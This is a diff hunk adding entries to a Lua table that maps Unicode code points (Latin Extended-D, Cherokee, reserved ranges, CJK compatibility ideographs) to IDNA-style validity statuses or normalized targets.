+ [0xA75D] = {status="valid"}, -- LATIN SMALL LETTER RUM ROTUNDA
+ [0xA75E] = 0xA75F, -- LATIN CAPITAL LETTER V WITH DIAGONAL STROKE
+ [0xA75F] = {status="valid"}, -- LATIN SMALL LETTER V WITH DIAGONAL STROKE
+ [0xA760] = 0xA761, -- LATIN CAPITAL LETTER VY
+ [0xA761] = {status="valid"}, -- LATIN SMALL LETTER VY
+ [0xA762] = 0xA763, -- LATIN CAPITAL LETTER VISIGOTHIC Z
+ [0xA763] = {status="valid"}, -- LATIN SMALL LETTER VISIGOTHIC Z
+ [0xA764] = 0xA765, -- LATIN CAPITAL LETTER THORN WITH STROKE
+ [0xA765] = {status="valid"}, -- LATIN SMALL LETTER THORN WITH STROKE
+ [0xA766] = 0xA767, -- LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER
+ [0xA767] = {status="valid"}, -- LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER
+ [0xA768] = 0xA769, -- LATIN CAPITAL LETTER VEND
+ [0xA769] = {status="valid"}, -- LATIN SMALL LETTER VEND
+ [0xA76A] = 0xA76B, -- LATIN CAPITAL LETTER ET
+ [0xA76B] = {status="valid"}, -- LATIN SMALL LETTER ET
+ [0xA76C] = 0xA76D, -- LATIN CAPITAL LETTER IS
+ [0xA76D] = {status="valid"}, -- LATIN SMALL LETTER IS
+ [0xA76E] = 0xA76F, -- LATIN CAPITAL LETTER CON
+ [0xA76F] = {status="valid"}, -- LATIN SMALL LETTER CON
+ [0xA770] = 0xA76F, -- MODIFIER LETTER US
+ -- LATIN SMALL LETTER CUATRILLO WITH COMMA..LATIN LETTER SMALL CAPITAL S
+ [0xA72F] = {status="valid"},
+ [0xA730] = {status="valid"},
+ [0xA731] = {status="valid"},
+ [0xA779] = 0xA77A, -- LATIN CAPITAL LETTER INSULAR D
+ [0xA77A] = {status="valid"}, -- LATIN SMALL LETTER INSULAR D
+ [0xA77B] = 0xA77C, -- LATIN CAPITAL LETTER INSULAR F
+ [0xA77C] = {status="valid"}, -- LATIN SMALL LETTER INSULAR F
+ [0xA77D] = 0x1D79, -- LATIN CAPITAL LETTER INSULAR G
+ [0xA77E] = 0xA77F, -- LATIN CAPITAL LETTER TURNED INSULAR G
+ [0xA77F] = {status="valid"}, -- LATIN SMALL LETTER TURNED INSULAR G
+ [0xA780] = 0xA781, -- LATIN CAPITAL LETTER TURNED L
+ [0xA781] = {status="valid"}, -- LATIN SMALL LETTER TURNED L
+ [0xA782] = 0xA783, -- LATIN CAPITAL LETTER INSULAR R
+ [0xA783] = {status="valid"}, -- LATIN SMALL LETTER INSULAR R
+ [0xA784] = 0xA785, -- LATIN CAPITAL LETTER INSULAR S
+ [0xA785] = {status="valid"}, -- LATIN SMALL LETTER INSULAR S
+ [0xA786] = 0xA787, -- LATIN CAPITAL LETTER INSULAR T
+ -- LATIN SMALL LETTER INSULAR T..MODIFIER LETTER LOW CIRCUMFLEX ACCENT
+ [0xA787] = {status="valid"},
+ [0xA788] = {status="valid"},
+ [0xA78B] = 0xA78C, -- LATIN CAPITAL LETTER SALTILLO
+ [0xA78C] = {status="valid"}, -- LATIN SMALL LETTER SALTILLO
+ [0xA78D] = 0x0265, -- LATIN CAPITAL LETTER TURNED H
+ [0xA78E] = {status="valid"}, -- LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT
+ [0xA78F] = {status="valid"}, -- LATIN LETTER SINOLOGICAL DOT
+ [0xA790] = 0xA791, -- LATIN CAPITAL LETTER N WITH DESCENDER
+ [0xA791] = {status="valid"}, -- LATIN SMALL LETTER N WITH DESCENDER
+ [0xA792] = 0xA793, -- LATIN CAPITAL LETTER C WITH BAR
+ [0xA793] = {status="valid"}, -- LATIN SMALL LETTER C WITH BAR
+ -- MODIFIER LETTER COLON..MODIFIER LETTER SHORT EQUALS SIGN
+ [0xA789] = {status="disallowed"},
+ [0xA78A] = {status="disallowed"},
+ [0xA796] = 0xA797, -- LATIN CAPITAL LETTER B WITH FLOURISH
+ [0xA797] = {status="valid"}, -- LATIN SMALL LETTER B WITH FLOURISH
+ [0xA798] = 0xA799, -- LATIN CAPITAL LETTER F WITH STROKE
+ [0xA799] = {status="valid"}, -- LATIN SMALL LETTER F WITH STROKE
+ [0xA79A] = 0xA79B, -- LATIN CAPITAL LETTER VOLAPUK AE
+ [0xA79B] = {status="valid"}, -- LATIN SMALL LETTER VOLAPUK AE
+ [0xA79C] = 0xA79D, -- LATIN CAPITAL LETTER VOLAPUK OE
+ [0xA79D] = {status="valid"}, -- LATIN SMALL LETTER VOLAPUK OE
+ [0xA79E] = 0xA79F, -- LATIN CAPITAL LETTER VOLAPUK UE
+ [0xA79F] = {status="valid"}, -- LATIN SMALL LETTER VOLAPUK UE
+ [0xA7A0] = 0xA7A1, -- LATIN CAPITAL LETTER G WITH OBLIQUE STROKE
+ [0xA7A1] = {status="valid"}, -- LATIN SMALL LETTER G WITH OBLIQUE STROKE
+ [0xA7A2] = 0xA7A3, -- LATIN CAPITAL LETTER K WITH OBLIQUE STROKE
+ [0xA7A3] = {status="valid"}, -- LATIN SMALL LETTER K WITH OBLIQUE STROKE
+ [0xA7A4] = 0xA7A5, -- LATIN CAPITAL LETTER N WITH OBLIQUE STROKE
+ [0xA7A5] = {status="valid"}, -- LATIN SMALL LETTER N WITH OBLIQUE STROKE
+ [0xA7A6] = 0xA7A7, -- LATIN CAPITAL LETTER R WITH OBLIQUE STROKE
+ [0xA7A7] = {status="valid"}, -- LATIN SMALL LETTER R WITH OBLIQUE STROKE
+ [0xA7A8] = 0xA7A9, -- LATIN CAPITAL LETTER S WITH OBLIQUE STROKE
+ [0xA7A9] = {status="valid"}, -- LATIN SMALL LETTER S WITH OBLIQUE STROKE
+ [0xA7AA] = 0x0266, -- LATIN CAPITAL LETTER H WITH HOOK
+ [0xA7AB] = 0x025C, -- LATIN CAPITAL LETTER REVERSED OPEN E
+ [0xA7AC] = 0x0261, -- LATIN CAPITAL LETTER SCRIPT G
+ [0xA7AD] = 0x026C, -- LATIN CAPITAL LETTER L WITH BELT
+ [0xA7AE] = 0x026A, -- LATIN CAPITAL LETTER SMALL CAPITAL I
+ [0xA7AF] = {status="disallowed"}, -- NA <reserved-A7AF>
+ [0xA7B0] = 0x029E, -- LATIN CAPITAL LETTER TURNED K
+ [0xA7B1] = 0x0287, -- LATIN CAPITAL LETTER TURNED T
+ [0xA7B2] = 0x029D, -- LATIN CAPITAL LETTER J WITH CROSSED-TAIL
+ [0xA7B3] = 0xAB53, -- LATIN CAPITAL LETTER CHI
+ [0xA7B4] = 0xA7B5, -- LATIN CAPITAL LETTER BETA
+ [0xA7B5] = {status="valid"}, -- LATIN SMALL LETTER BETA
+ [0xA7B6] = 0xA7B7, -- LATIN CAPITAL LETTER OMEGA
+ [0xA7B7] = {status="valid"}, -- LATIN SMALL LETTER OMEGA
+ -- LATIN SMALL LETTER C WITH PALATAL HOOK..LATIN SMALL LETTER H WITH PALATAL HOOK
+ [0xA794] = {status="valid"},
+ [0xA795] = {status="valid"},
+ [0xA7F7] = {status="valid"}, -- LATIN EPIGRAPHIC LETTER SIDEWAYS I
+ [0xA7F8] = 0x0127, -- MODIFIER LETTER CAPITAL H WITH STROKE
+ [0xA7F9] = 0x0153, -- MODIFIER LETTER SMALL LIGATURE OE
+ [0xA7FA] = {status="valid"}, -- LATIN LETTER SMALL CAPITAL TURNED M
+ -- SYLOTI NAGRI POETRY MARK-1..SYLOTI NAGRI POETRY MARK-4
+ [0xA828] = {status="disallowed"},
+ [0xA829] = {status="disallowed"},
+ [0xA82A] = {status="disallowed"},
+ [0xA82B] = {status="disallowed"},
+ -- NA <reserved-A82C>..<reserved-A82F>
+ [0xA82C] = {status="disallowed"},
+ [0xA82D] = {status="disallowed"},
+ [0xA82E] = {status="disallowed"},
+ [0xA82F] = {status="disallowed"},
+ -- PHAGS-PA SINGLE HEAD MARK..PHAGS-PA MARK DOUBLE SHAD
+ [0xA874] = {status="disallowed"},
+ [0xA875] = {status="disallowed"},
+ [0xA876] = {status="disallowed"},
+ [0xA877] = {status="disallowed"},
+ [0xA8C5] = {status="valid"}, -- SAURASHTRA SIGN CANDRABINDU
+ -- SAURASHTRA DANDA..SAURASHTRA DOUBLE DANDA
+ [0xA8CE] = {status="disallowed"},
+ [0xA8CF] = {status="disallowed"},
+ [0xA8FB] = {status="valid"}, -- DEVANAGARI HEADSTROKE
+ [0xA8FC] = {status="disallowed"}, -- DEVANAGARI SIGN SIDDHAM
+ [0xA8FD] = {status="valid"}, -- DEVANAGARI JAIN OM
+ -- DEVANAGARI SIGN PUSHPIKA..DEVANAGARI CARET
+ [0xA8F8] = {status="disallowed"},
+ [0xA8F9] = {status="disallowed"},
+ [0xA8FA] = {status="disallowed"},
+ -- NA <reserved-A8FE>..<reserved-A8FF>
+ [0xA8FE] = {status="disallowed"},
+ [0xA8FF] = {status="disallowed"},
+ -- KAYAH LI SIGN CWI..KAYAH LI SIGN SHYA
+ [0xA92E] = {status="disallowed"},
+ [0xA92F] = {status="disallowed"},
+ [0xA95F] = {status="disallowed"}, -- REJANG SECTION MARK
+ -- NA <reserved-A97D>..<reserved-A97F>
+ [0xA97D] = {status="disallowed"},
+ [0xA97E] = {status="disallowed"},
+ [0xA97F] = {status="disallowed"},
+ [0xA9CE] = {status="disallowed"}, -- NA <reserved-A9CE>
+ -- NA <reserved-A9DA>..<reserved-A9DD>
+ [0xA9DA] = {status="disallowed"},
+ [0xA9DB] = {status="disallowed"},
+ [0xA9DC] = {status="disallowed"},
+ [0xA9DD] = {status="disallowed"},
+ -- JAVANESE PADA TIRTA TUMETES..JAVANESE PADA ISEN-ISEN
+ [0xA9DE] = {status="disallowed"},
+ [0xA9DF] = {status="disallowed"},
+ [0xA9FF] = {status="disallowed"}, -- NA <reserved-A9FF>
+ -- NA <reserved-AA4E>..<reserved-AA4F>
+ [0xAA4E] = {status="disallowed"},
+ [0xAA4F] = {status="disallowed"},
+ -- NA <reserved-AA5A>..<reserved-AA5B>
+ [0xAA5A] = {status="disallowed"},
+ [0xAA5B] = {status="disallowed"},
+ -- CHAM PUNCTUATION SPIRAL..CHAM PUNCTUATION TRIPLE DANDA
+ [0xAA5C] = {status="disallowed"},
+ [0xAA5D] = {status="disallowed"},
+ [0xAA5E] = {status="disallowed"},
+ [0xAA5F] = {status="disallowed"},
+ -- MYANMAR SYMBOL AITON EXCLAMATION..MYANMAR SYMBOL AITON TWO
+ [0xAA77] = {status="disallowed"},
+ [0xAA78] = {status="disallowed"},
+ [0xAA79] = {status="disallowed"},
+ -- TAI VIET SYMBOL KON..TAI VIET SYMBOL SAM
+ [0xAADB] = {status="valid"},
+ [0xAADC] = {status="valid"},
+ [0xAADD] = {status="valid"},
+ -- TAI VIET SYMBOL HO HOI..TAI VIET SYMBOL KOI KOI
+ [0xAADE] = {status="disallowed"},
+ [0xAADF] = {status="disallowed"},
+ -- MEETEI MAYEK CHEIKHAN..MEETEI MAYEK AHANG KHUDAM
+ [0xAAF0] = {status="disallowed"},
+ [0xAAF1] = {status="disallowed"},
+ -- MEETEI MAYEK ANJI..MEETEI MAYEK VIRAMA
+ [0xAAF2] = {status="valid"},
+ [0xAAF3] = {status="valid"},
+ [0xAAF4] = {status="valid"},
+ [0xAAF5] = {status="valid"},
+ [0xAAF6] = {status="valid"},
+ -- NA <reserved-AB07>..<reserved-AB08>
+ [0xAB07] = {status="disallowed"},
+ [0xAB08] = {status="disallowed"},
+ -- NA <reserved-AB0F>..<reserved-AB10>
+ [0xAB0F] = {status="disallowed"},
+ [0xAB10] = {status="disallowed"},
+ [0xAB27] = {status="disallowed"}, -- NA <reserved-AB27>
+ [0xAB2F] = {status="disallowed"}, -- NA <reserved-AB2F>
+ [0xAB5B] = {status="disallowed"}, -- MODIFIER BREVE WITH INVERTED BREVE
+ [0xAB5C] = 0xA727, -- MODIFIER LETTER SMALL HENG
+ [0xAB5D] = 0xAB37, -- MODIFIER LETTER SMALL L WITH INVERTED LAZY S
+ [0xAB5E] = 0x026B, -- MODIFIER LETTER SMALL L WITH MIDDLE TILDE
+ [0xAB5F] = 0xAB52, -- MODIFIER LETTER SMALL U WITH LEFT HOOK
+ [0xAB70] = 0x13A0, -- CHEROKEE SMALL LETTER A
+ [0xAB71] = 0x13A1, -- CHEROKEE SMALL LETTER E
+ [0xAB72] = 0x13A2, -- CHEROKEE SMALL LETTER I
+ [0xAB73] = 0x13A3, -- CHEROKEE SMALL LETTER O
+ [0xAB74] = 0x13A4, -- CHEROKEE SMALL LETTER U
+ [0xAB75] = 0x13A5, -- CHEROKEE SMALL LETTER V
+ [0xAB76] = 0x13A6, -- CHEROKEE SMALL LETTER GA
+ [0xAB77] = 0x13A7, -- CHEROKEE SMALL LETTER KA
+ [0xAB78] = 0x13A8, -- CHEROKEE SMALL LETTER GE
+ [0xAB79] = 0x13A9, -- CHEROKEE SMALL LETTER GI
+ [0xAB7A] = 0x13AA, -- CHEROKEE SMALL LETTER GO
+ [0xAB7B] = 0x13AB, -- CHEROKEE SMALL LETTER GU
+ [0xAB7C] = 0x13AC, -- CHEROKEE SMALL LETTER GV
+ [0xAB7D] = 0x13AD, -- CHEROKEE SMALL LETTER HA
+ [0xAB7E] = 0x13AE, -- CHEROKEE SMALL LETTER HE
+ [0xAB7F] = 0x13AF, -- CHEROKEE SMALL LETTER HI
+ [0xAB80] = 0x13B0, -- CHEROKEE SMALL LETTER HO
+ [0xAB81] = 0x13B1, -- CHEROKEE SMALL LETTER HU
+ [0xAB82] = 0x13B2, -- CHEROKEE SMALL LETTER HV
+ [0xAB83] = 0x13B3, -- CHEROKEE SMALL LETTER LA
+ [0xAB84] = 0x13B4, -- CHEROKEE SMALL LETTER LE
+ [0xAB85] = 0x13B5, -- CHEROKEE SMALL LETTER LI
+ [0xAB86] = 0x13B6, -- CHEROKEE SMALL LETTER LO
+ [0xAB87] = 0x13B7, -- CHEROKEE SMALL LETTER LU
+ [0xAB88] = 0x13B8, -- CHEROKEE SMALL LETTER LV
+ [0xAB89] = 0x13B9, -- CHEROKEE SMALL LETTER MA
+ [0xAB8A] = 0x13BA, -- CHEROKEE SMALL LETTER ME
+ [0xAB8B] = 0x13BB, -- CHEROKEE SMALL LETTER MI
+ [0xAB8C] = 0x13BC, -- CHEROKEE SMALL LETTER MO
+ [0xAB8D] = 0x13BD, -- CHEROKEE SMALL LETTER MU
+ [0xAB8E] = 0x13BE, -- CHEROKEE SMALL LETTER NA
+ [0xAB8F] = 0x13BF, -- CHEROKEE SMALL LETTER HNA
+ [0xAB90] = 0x13C0, -- CHEROKEE SMALL LETTER NAH
+ [0xAB91] = 0x13C1, -- CHEROKEE SMALL LETTER NE
+ [0xAB92] = 0x13C2, -- CHEROKEE SMALL LETTER NI
+ [0xAB93] = 0x13C3, -- CHEROKEE SMALL LETTER NO
+ [0xAB94] = 0x13C4, -- CHEROKEE SMALL LETTER NU
+ [0xAB95] = 0x13C5, -- CHEROKEE SMALL LETTER NV
+ [0xAB96] = 0x13C6, -- CHEROKEE SMALL LETTER QUA
+ [0xAB97] = 0x13C7, -- CHEROKEE SMALL LETTER QUE
+ [0xAB98] = 0x13C8, -- CHEROKEE SMALL LETTER QUI
+ [0xAB99] = 0x13C9, -- CHEROKEE SMALL LETTER QUO
+ [0xAB9A] = 0x13CA, -- CHEROKEE SMALL LETTER QUU
+ [0xAB9B] = 0x13CB, -- CHEROKEE SMALL LETTER QUV
+ [0xAB9C] = 0x13CC, -- CHEROKEE SMALL LETTER SA
+ [0xAB9D] = 0x13CD, -- CHEROKEE SMALL LETTER S
+ [0xAB9E] = 0x13CE, -- CHEROKEE SMALL LETTER SE
+ [0xAB9F] = 0x13CF, -- CHEROKEE SMALL LETTER SI
+ [0xABA0] = 0x13D0, -- CHEROKEE SMALL LETTER SO
+ [0xABA1] = 0x13D1, -- CHEROKEE SMALL LETTER SU
+ [0xABA2] = 0x13D2, -- CHEROKEE SMALL LETTER SV
+ [0xABA3] = 0x13D3, -- CHEROKEE SMALL LETTER DA
+ [0xABA4] = 0x13D4, -- CHEROKEE SMALL LETTER TA
+ [0xABA5] = 0x13D5, -- CHEROKEE SMALL LETTER DE
+ [0xABA6] = 0x13D6, -- CHEROKEE SMALL LETTER TE
+ [0xABA7] = 0x13D7, -- CHEROKEE SMALL LETTER DI
+ [0xABA8] = 0x13D8, -- CHEROKEE SMALL LETTER TI
+ [0xABA9] = 0x13D9, -- CHEROKEE SMALL LETTER DO
+ [0xABAA] = 0x13DA, -- CHEROKEE SMALL LETTER DU
+ [0xABAB] = 0x13DB, -- CHEROKEE SMALL LETTER DV
+ [0xABAC] = 0x13DC, -- CHEROKEE SMALL LETTER DLA
+ [0xABAD] = 0x13DD, -- CHEROKEE SMALL LETTER TLA
+ [0xABAE] = 0x13DE, -- CHEROKEE SMALL LETTER TLE
+ [0xABAF] = 0x13DF, -- CHEROKEE SMALL LETTER TLI
+ [0xABB0] = 0x13E0, -- CHEROKEE SMALL LETTER TLO
+ [0xABB1] = 0x13E1, -- CHEROKEE SMALL LETTER TLU
+ [0xABB2] = 0x13E2, -- CHEROKEE SMALL LETTER TLV
+ [0xABB3] = 0x13E3, -- CHEROKEE SMALL LETTER TSA
+ [0xABB4] = 0x13E4, -- CHEROKEE SMALL LETTER TSE
+ [0xABB5] = 0x13E5, -- CHEROKEE SMALL LETTER TSI
+ [0xABB6] = 0x13E6, -- CHEROKEE SMALL LETTER TSO
+ [0xABB7] = 0x13E7, -- CHEROKEE SMALL LETTER TSU
+ [0xABB8] = 0x13E8, -- CHEROKEE SMALL LETTER TSV
+ [0xABB9] = 0x13E9, -- CHEROKEE SMALL LETTER WA
+ [0xABBA] = 0x13EA, -- CHEROKEE SMALL LETTER WE
+ [0xABBB] = 0x13EB, -- CHEROKEE SMALL LETTER WI
+ [0xABBC] = 0x13EC, -- CHEROKEE SMALL LETTER WO
+ [0xABBD] = 0x13ED, -- CHEROKEE SMALL LETTER WU
+ [0xABBE] = 0x13EE, -- CHEROKEE SMALL LETTER WV
+ [0xABBF] = 0x13EF, -- CHEROKEE SMALL LETTER YA
+ [0xABEB] = {status="disallowed"}, -- MEETEI MAYEK CHEIKHEI
+ -- MEETEI MAYEK LUM IYEK..MEETEI MAYEK APUN IYEK
+ [0xABEC] = {status="valid"},
+ [0xABED] = {status="valid"},
+ -- NA <reserved-ABEE>..<reserved-ABEF>
+ [0xABEE] = {status="disallowed"},
+ [0xABEF] = {status="disallowed"},
+ -- NA <reserved-D7C7>..<reserved-D7CA>
+ [0xD7C7] = {status="disallowed"},
+ [0xD7C8] = {status="disallowed"},
+ [0xD7C9] = {status="disallowed"},
+ [0xD7CA] = {status="disallowed"},
+ [0xF900] = 0x8C48, -- CJK COMPATIBILITY IDEOGRAPH-F900
+ [0xF901] = 0x66F4, -- CJK COMPATIBILITY IDEOGRAPH-F901
+ [0xF902] = 0x8ECA, -- CJK COMPATIBILITY IDEOGRAPH-F902
+ [0xF903] = 0x8CC8, -- CJK COMPATIBILITY IDEOGRAPH-F903
+ [0xF904] = 0x6ED1, -- CJK COMPATIBILITY IDEOGRAPH-F904
+ [0xF905] = 0x4E32, -- CJK COMPATIBILITY IDEOGRAPH-F905
+ [0xF906] = 0x53E5, -- CJK COMPATIBILITY IDEOGRAPH-F906
+ [0xF909] = 0x5951, -- CJK COMPATIBILITY IDEOGRAPH-F909
+ [0xF90A] = 0x91D1, -- CJK COMPATIBILITY IDEOGRAPH-F90A
+ [0xF90B] = 0x5587, -- CJK COMPATIBILITY IDEOGRAPH-F90B
+ [0xF90C] = 0x5948, -- CJK COMPATIBILITY IDEOGRAPH-F90C
+ [0xF90D] = 0x61F6, -- CJK COMPATIBILITY IDEOGRAPH-F90D
+ [0xF90E] = 0x7669, -- CJK COMPATIBILITY IDEOGRAPH-F90E
+ [0xF90F] = 0x7F85, -- CJK COMPATIBILITY IDEOGRAPH-F90F
+ [0xF910] = 0x863F, -- CJK COMPATIBILITY IDEOGRAPH-F910
+ [0xF911] = 0x87BA, -- CJK COMPATIBILITY IDEOGRAPH-F911
+ [0xF912] = 0x88F8, -- CJK COMPATIBILITY IDEOGRAPH-F912
+ [0xF913] = 0x908F, -- CJK COMPATIBILITY IDEOGRAPH-F913
+ [0xF914] = 0x6A02, -- CJK COMPATIBILITY IDEOGRAPH-F914
+ [0xF915] = 0x6D1B, -- CJK COMPATIBILITY IDEOGRAPH-F915
+ [0xF916] = 0x70D9, -- CJK COMPATIBILITY IDEOGRAPH-F916
+ [0xF917] = 0x73DE, -- CJK COMPATIBILITY IDEOGRAPH-F917
+ [0xF918] = 0x843D, -- CJK COMPATIBILITY IDEOGRAPH-F918
+ [0xF919] = 0x916A, -- CJK COMPATIBILITY IDEOGRAPH-F919
+ [0xF91A] = 0x99F1, -- CJK COMPATIBILITY IDEOGRAPH-F91A
+ [0xF91B] = 0x4E82, -- CJK COMPATIBILITY IDEOGRAPH-F91B
+ [0xF91C] = 0x5375, -- CJK COMPATIBILITY IDEOGRAPH-F91C
+ [0xF91D] = 0x6B04, -- CJK COMPATIBILITY IDEOGRAPH-F91D
+ [0xF91E] = 0x721B, -- CJK COMPATIBILITY IDEOGRAPH-F91E
+ [0xF91F] = 0x862D, -- CJK COMPATIBILITY IDEOGRAPH-F91F
+ [0xF920] = 0x9E1E, -- CJK COMPATIBILITY IDEOGRAPH-F920
+ [0xF921] = 0x5D50, -- CJK COMPATIBILITY IDEOGRAPH-F921
+ [0xF922] = 0x6FEB, -- CJK COMPATIBILITY IDEOGRAPH-F922
+ [0xF923] = 0x85CD, -- CJK COMPATIBILITY IDEOGRAPH-F923
+ [0xF924] = 0x8964, -- CJK COMPATIBILITY IDEOGRAPH-F924
+ [0xF925] = 0x62C9, -- CJK COMPATIBILITY IDEOGRAPH-F925
+ [0xF926] = 0x81D8, -- CJK COMPATIBILITY IDEOGRAPH-F926
+ [0xF927] = 0x881F, -- CJK COMPATIBILITY IDEOGRAPH-F927
+ [0xF928] = 0x5ECA, -- CJK COMPATIBILITY IDEOGRAPH-F928
+ [0xF929] = 0x6717, -- CJK COMPATIBILITY IDEOGRAPH-F929
+ [0xF92A] = 0x6D6A, -- CJK COMPATIBILITY IDEOGRAPH-F92A
+ [0xF92B] = 0x72FC, -- CJK COMPATIBILITY IDEOGRAPH-F92B
+ [0xF92C] = 0x90CE, -- CJK COMPATIBILITY IDEOGRAPH-F92C
+ [0xF92D] = 0x4F86, -- CJK COMPATIBILITY IDEOGRAPH-F92D
+ [0xF92E] = 0x51B7, -- CJK COMPATIBILITY IDEOGRAPH-F92E
+ [0xF92F] = 0x52DE, -- CJK COMPATIBILITY IDEOGRAPH-F92F
+ [0xF930] = 0x64C4, -- CJK COMPATIBILITY IDEOGRAPH-F930
+ [0xF931] = 0x6AD3, -- CJK COMPATIBILITY IDEOGRAPH-F931
+ [0xF932] = 0x7210, -- CJK COMPATIBILITY IDEOGRAPH-F932
+ [0xF933] = 0x76E7, -- CJK COMPATIBILITY IDEOGRAPH-F933
+ [0xF934] = 0x8001, -- CJK COMPATIBILITY IDEOGRAPH-F934
+ [0xF935] = 0x8606, -- CJK COMPATIBILITY IDEOGRAPH-F935
+ [0xF936] = 0x865C, -- CJK COMPATIBILITY IDEOGRAPH-F936
+ [0xF937] = 0x8DEF, -- CJK COMPATIBILITY IDEOGRAPH-F937
+ [0xF938] = 0x9732, -- CJK COMPATIBILITY IDEOGRAPH-F938
+ [0xF939] = 0x9B6F, -- CJK COMPATIBILITY IDEOGRAPH-F939
+ [0xF93A] = 0x9DFA, -- CJK COMPATIBILITY IDEOGRAPH-F93A
+ [0xF93B] = 0x788C, -- CJK COMPATIBILITY IDEOGRAPH-F93B
+ [0xF93C] = 0x797F, -- CJK COMPATIBILITY IDEOGRAPH-F93C
+ [0xF93D] = 0x7DA0, -- CJK COMPATIBILITY IDEOGRAPH-F93D
+ [0xF93E] = 0x83C9, -- CJK COMPATIBILITY IDEOGRAPH-F93E
+ [0xF93F] = 0x9304, -- CJK COMPATIBILITY IDEOGRAPH-F93F
+ [0xF940] = 0x9E7F, -- CJK COMPATIBILITY IDEOGRAPH-F940
+ [0xF941] = 0x8AD6, -- CJK COMPATIBILITY IDEOGRAPH-F941
+ [0xF942] = 0x58DF, -- CJK COMPATIBILITY IDEOGRAPH-F942
+ [0xF943] = 0x5F04, -- CJK COMPATIBILITY IDEOGRAPH-F943
+ [0xF944] = 0x7C60, -- CJK COMPATIBILITY IDEOGRAPH-F944
+ [0xF945] = 0x807E, -- CJK COMPATIBILITY IDEOGRAPH-F945
+ [0xF946] = 0x7262, -- CJK COMPATIBILITY IDEOGRAPH-F946
+ [0xF947] = 0x78CA, -- CJK COMPATIBILITY IDEOGRAPH-F947
+ [0xF948] = 0x8CC2, -- CJK COMPATIBILITY IDEOGRAPH-F948
+ [0xF949] = 0x96F7, -- CJK COMPATIBILITY IDEOGRAPH-F949
+ [0xF94A] = 0x58D8, -- CJK COMPATIBILITY IDEOGRAPH-F94A
+ [0xF94B] = 0x5C62, -- CJK COMPATIBILITY IDEOGRAPH-F94B
+ [0xF94C] = 0x6A13, -- CJK COMPATIBILITY IDEOGRAPH-F94C
+ [0xF94D] = 0x6DDA, -- CJK COMPATIBILITY IDEOGRAPH-F94D
+ [0xF94E] = 0x6F0F, -- CJK COMPATIBILITY IDEOGRAPH-F94E
+ [0xF94F] = 0x7D2F, -- CJK COMPATIBILITY IDEOGRAPH-F94F
+ [0xF950] = 0x7E37, -- CJK COMPATIBILITY IDEOGRAPH-F950
+ [0xF951] = 0x964B, -- CJK COMPATIBILITY IDEOGRAPH-F951
+ [0xF952] = 0x52D2, -- CJK COMPATIBILITY IDEOGRAPH-F952
+ [0xF953] = 0x808B, -- CJK COMPATIBILITY IDEOGRAPH-F953
+ [0xF954] = 0x51DC, -- CJK COMPATIBILITY IDEOGRAPH-F954
+ [0xF955] = 0x51CC, -- CJK COMPATIBILITY IDEOGRAPH-F955
+ [0xF956] = 0x7A1C, -- CJK COMPATIBILITY IDEOGRAPH-F956
+ [0xF957] = 0x7DBE, -- CJK COMPATIBILITY IDEOGRAPH-F957
+ [0xF958] = 0x83F1, -- CJK COMPATIBILITY IDEOGRAPH-F958
+ [0xF959] = 0x9675, -- CJK COMPATIBILITY IDEOGRAPH-F959
+ [0xF95A] = 0x8B80, -- CJK COMPATIBILITY IDEOGRAPH-F95A
+ [0xF95B] = 0x62CF, -- CJK COMPATIBILITY IDEOGRAPH-F95B
+ [0xF95C] = 0x6A02, -- CJK COMPATIBILITY IDEOGRAPH-F95C
+ [0xF95D] = 0x8AFE, -- CJK COMPATIBILITY IDEOGRAPH-F95D
+ [0xF95E] = 0x4E39, -- CJK COMPATIBILITY IDEOGRAPH-F95E
+ [0xF95F] = 0x5BE7, -- CJK COMPATIBILITY IDEOGRAPH-F95F
+ [0xF960] = 0x6012, -- CJK COMPATIBILITY IDEOGRAPH-F960
+ [0xF961] = 0x7387, -- CJK COMPATIBILITY IDEOGRAPH-F961
+ [0xF962] = 0x7570, -- CJK COMPATIBILITY IDEOGRAPH-F962
+ [0xF963] = 0x5317, -- CJK COMPATIBILITY IDEOGRAPH-F963
+ [0xF964] = 0x78FB, -- CJK COMPATIBILITY IDEOGRAPH-F964
+ [0xF965] = 0x4FBF, -- CJK COMPATIBILITY IDEOGRAPH-F965
+ [0xF966] = 0x5FA9, -- CJK COMPATIBILITY IDEOGRAPH-F966
+ [0xF967] = 0x4E0D, -- CJK COMPATIBILITY IDEOGRAPH-F967
+ [0xF968] = 0x6CCC, -- CJK COMPATIBILITY IDEOGRAPH-F968
+ [0xF969] = 0x6578, -- CJK COMPATIBILITY IDEOGRAPH-F969
+ [0xF96A] = 0x7D22, -- CJK COMPATIBILITY IDEOGRAPH-F96A
+ [0xF96B] = 0x53C3, -- CJK COMPATIBILITY IDEOGRAPH-F96B
+ [0xF96C] = 0x585E, -- CJK COMPATIBILITY IDEOGRAPH-F96C
+ [0xF96D] = 0x7701, -- CJK COMPATIBILITY IDEOGRAPH-F96D
+ [0xF96E] = 0x8449, -- CJK COMPATIBILITY IDEOGRAPH-F96E
+ [0xF96F] = 0x8AAA, -- CJK COMPATIBILITY IDEOGRAPH-F96F
+ [0xF970] = 0x6BBA, -- CJK COMPATIBILITY IDEOGRAPH-F970
+ [0xF971] = 0x8FB0, -- CJK COMPATIBILITY IDEOGRAPH-F971
+ [0xF972] = 0x6C88, -- CJK COMPATIBILITY IDEOGRAPH-F972
+ [0xF973] = 0x62FE, -- CJK COMPATIBILITY IDEOGRAPH-F973
+ [0xF974] = 0x82E5, -- CJK COMPATIBILITY IDEOGRAPH-F974
+ [0xF975] = 0x63A0, -- CJK COMPATIBILITY IDEOGRAPH-F975
+ [0xF976] = 0x7565, -- CJK COMPATIBILITY IDEOGRAPH-F976
+ [0xF977] = 0x4EAE, -- CJK COMPATIBILITY IDEOGRAPH-F977
+ [0xF978] = 0x5169, -- CJK COMPATIBILITY IDEOGRAPH-F978
+ [0xF979] = 0x51C9, -- CJK COMPATIBILITY IDEOGRAPH-F979
+ [0xF97A] = 0x6881, -- CJK COMPATIBILITY IDEOGRAPH-F97A
+ [0xF97B] = 0x7CE7, -- CJK COMPATIBILITY IDEOGRAPH-F97B
+ [0xF97C] = 0x826F, -- CJK COMPATIBILITY IDEOGRAPH-F97C
+ [0xF97D] = 0x8AD2, -- CJK COMPATIBILITY IDEOGRAPH-F97D
+ [0xF97E] = 0x91CF, -- CJK COMPATIBILITY IDEOGRAPH-F97E
+ [0xF97F] = 0x52F5, -- CJK COMPATIBILITY IDEOGRAPH-F97F
